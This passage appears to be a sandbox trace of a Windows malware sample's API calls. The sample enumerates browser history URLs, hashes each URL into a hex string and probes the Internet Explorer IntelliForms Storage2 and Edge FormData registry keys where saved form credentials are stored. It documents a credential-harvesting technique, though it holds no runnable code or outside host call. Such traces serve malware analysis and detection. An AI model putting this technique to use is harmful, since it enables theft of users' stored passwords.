param_2="%s%2.2X" | out: param_1="C70D84") returned 6 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D84" | out: lpString1="C70D84") returned="C70D84" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422") returned 8 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422" | out: lpString1="C70D8422") returned="C70D8422" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D2") returned 10 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D2" | out: lpString1="C70D8422D2") returned="C70D8422D2" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21C") returned 12 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21C" | out: lpString1="C70D8422D21C") returned="C70D8422D21C" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3") returned 14 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3" | out: lpString1="C70D8422D21CE3") returned="C70D8422D21CE3" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF") returned 16 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF" | out: lpString1="C70D8422D21CE3EF") returned="C70D8422D21CE3EF" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF88") returned 18 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF88" | out: lpString1="C70D8422D21CE3EF88") returned="C70D8422D21CE3EF88" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863") returned 20 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863" | out: lpString1="C70D8422D21CE3EF8863") returned="C70D8422D21CE3EF8863" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE") returned 22 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE" | out: lpString1="C70D8422D21CE3EF8863AE") returned="C70D8422D21CE3EF8863AE" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24") returned 24 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24" | out: lpString1="C70D8422D21CE3EF8863AE24") returned="C70D8422D21CE3EF8863AE24" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE2475") returned 26 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE2475" | out: lpString1="C70D8422D21CE3EF8863AE2475") returned="C70D8422D21CE3EF8863AE2475" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E") returned 28 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E" | out: lpString1="C70D8422D21CE3EF8863AE24753E") returned="C70D8422D21CE3EF8863AE24753E" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63") returned 30 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63" | out: lpString1="C70D8422D21CE3EF8863AE24753E63") returned="C70D8422D21CE3EF8863AE24753E63" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63D1") returned 32 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63D1" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1") returned="C70D8422D21CE3EF8863AE24753E63D1" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63D1DC") returned 34 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC") returned="C70D8422D21CE3EF8863AE24753E63D1DC" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63D1DC5A") returned 36 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5A" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5A") returned="C70D8422D21CE3EF8863AE24753E63D1DC5A" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63D1DC5AC1") returned 38 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5AC1" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC1") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC1" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63D1DC5AC142") returned 40 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5AC142" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC142") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC142" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D8422D21CE3EF8863AE24753E63D1DC5AC14217") returned 42 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D8422D21CE3EF8863AE24753E63D1DC5AC14217" | out: lpString1="C70D8422D21CE3EF8863AE24753E63D1DC5AC14217") returned="C70D8422D21CE3EF8863AE24753E63D1DC5AC14217" [0056.887] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.888] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.888] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.888] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.888] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.888] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.888] LocalFree (hMem=0x2e5040) returned 0x0 [0056.888] CoTaskMemFree (pv=0x2b0c58) [0056.888] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.888] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/mqEf.swf", lpSrch="?") returned 0x0 [0056.888] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.888] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e50f0 [0056.888] lstrcpyA (in: lpString1=0x2e50f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.888] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/mqEf.swf") returned 88 [0056.888] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/mqEf.swf") returned 88 [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="24") returned 2 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="24" | out: lpString1="24") returned="24" [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248E") returned 4 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="248E" | out: lpString1="248E") returned="248E" [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA1") returned 6 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA1" | out: lpString1="248EA1") returned="248EA1" [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E") returned 8 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E" | out: lpString1="248EA17E") returned="248EA17E" [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34") returned 10 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34" | out: lpString1="248EA17E34") returned="248EA17E34" [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E2") returned 12 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E2" | out: lpString1="248EA17E34E2") returned="248EA17E34E2" [0056.888] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E281") returned 14 [0056.888] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E281" | out: lpString1="248EA17E34E281") returned="248EA17E34E281" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169") returned 16 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169" | out: lpString1="248EA17E34E28169") returned="248EA17E34E28169" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE") returned 18 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE" | out: lpString1="248EA17E34E28169FE") returned="248EA17E34E28169FE" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C") returned 20 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C" | out: lpString1="248EA17E34E28169FE4C") returned="248EA17E34E28169FE4C" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C97") returned 22 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C97" | out: lpString1="248EA17E34E28169FE4C97") returned="248EA17E34E28169FE4C97" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711") returned 24 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711" | out: lpString1="248EA17E34E28169FE4C9711") returned="248EA17E34E28169FE4C9711" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8") returned 26 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8" | out: lpString1="248EA17E34E28169FE4C9711D8") returned="248EA17E34E28169FE4C9711D8" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4") returned 28 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4" | out: lpString1="248EA17E34E28169FE4C9711D8D4") returned="248EA17E34E28169FE4C9711D8D4" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A6") returned 30 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A6" | out: lpString1="248EA17E34E28169FE4C9711D8D4A6") returned="248EA17E34E28169FE4C9711D8D4A6" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A605") returned 32 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A605" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605") returned="248EA17E34E28169FE4C9711D8D4A605" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A605BF") returned 34 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A605BF" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BF") returned="248EA17E34E28169FE4C9711D8D4A605BF" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A605BFC6") returned 36 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC6" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC6") returned="248EA17E34E28169FE4C9711D8D4A605BFC6" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A605BFC639") returned 38 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC639" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC639") returned="248EA17E34E28169FE4C9711D8D4A605BFC639" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A605BFC63993") returned 40 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC63993" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC63993") returned="248EA17E34E28169FE4C9711D8D4A605BFC63993" [0056.889] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="248EA17E34E28169FE4C9711D8D4A605BFC639936B") returned 42 [0056.889] lstrcpyA (in: lpString1=0x21fb40, lpString2="248EA17E34E28169FE4C9711D8D4A605BFC639936B" | out: lpString1="248EA17E34E28169FE4C9711D8D4A605BFC639936B") returned="248EA17E34E28169FE4C9711D8D4A605BFC639936B" [0056.889] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.889] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.889] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.889] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.889] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.889] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.889] LocalFree (hMem=0x2e50f0) returned 0x0 [0056.889] CoTaskMemFree (pv=0x2d2d78) [0056.889] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.890] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/uXFxmWEGABtwgcBszsjR.gif", lpSrch="?") returned 0x0 [0056.890] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.890] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e50f0 [0056.890] lstrcpyA (in: lpString1=0x2e50f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.890] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/uXFxmWEGABtwgcBszsjR.gif") returned 74 [0056.890] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/uXFxmWEGABtwgcBszsjR.gif") returned 74 [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE") returned 2 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE" | out: lpString1="CE") returned="CE" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05") returned 4 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05" | out: lpString1="CE05") returned="CE05" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E5") returned 6 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E5" | out: lpString1="CE05E5") returned="CE05E5" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B") returned 8 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B" | out: lpString1="CE05E54B") returned="CE05E54B" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B58") returned 10 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B58" | out: lpString1="CE05E54B58") returned="CE05E54B58" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C") returned 12 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C" | out: lpString1="CE05E54B585C") returned="CE05E54B585C" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97") returned 14 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97" | out: lpString1="CE05E54B585C97") returned="CE05E54B585C97" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97ED") returned 16 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97ED" | out: lpString1="CE05E54B585C97ED") returned="CE05E54B585C97ED" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6") returned 18 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6" | out: lpString1="CE05E54B585C97EDE6") returned="CE05E54B585C97EDE6" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4") returned 20 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4" | out: lpString1="CE05E54B585C97EDE6A4") returned="CE05E54B585C97EDE6A4" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A420") returned 22 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A420" | out: lpString1="CE05E54B585C97EDE6A420") returned="CE05E54B585C97EDE6A420" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208F") returned 24 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208F" | out: lpString1="CE05E54B585C97EDE6A4208F") returned="CE05E54B585C97EDE6A4208F" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBE") returned 26 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBE" | out: lpString1="CE05E54B585C97EDE6A4208FBE") returned="CE05E54B585C97EDE6A4208FBE" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF1") returned 28 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF1" | out: lpString1="CE05E54B585C97EDE6A4208FBEF1") returned="CE05E54B585C97EDE6A4208FBEF1" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167") returned 30 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167") returned="CE05E54B585C97EDE6A4208FBEF167" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167D1") returned 32 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167D1" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1") returned="CE05E54B585C97EDE6A4208FBEF167D1" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167D1D9") returned 34 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9") returned="CE05E54B585C97EDE6A4208FBEF167D1D9" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167D1D974") returned 36 [0056.890] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D974" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D974") returned="CE05E54B585C97EDE6A4208FBEF167D1D974" [0056.890] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167D1D9744B") returned 38 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9744B" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B" [0056.891] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167D1D9744B22") returned 40 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9744B22" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B22") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B22" [0056.891] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="CE05E54B585C97EDE6A4208FBEF167D1D9744B2215") returned 42 [0056.891] lstrcpyA (in: lpString1=0x21fb40, lpString2="CE05E54B585C97EDE6A4208FBEF167D1D9744B2215" | out: lpString1="CE05E54B585C97EDE6A4208FBEF167D1D9744B2215") returned="CE05E54B585C97EDE6A4208FBEF167D1D9744B2215" [0056.891] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.891] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.891] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.891] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.891] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, 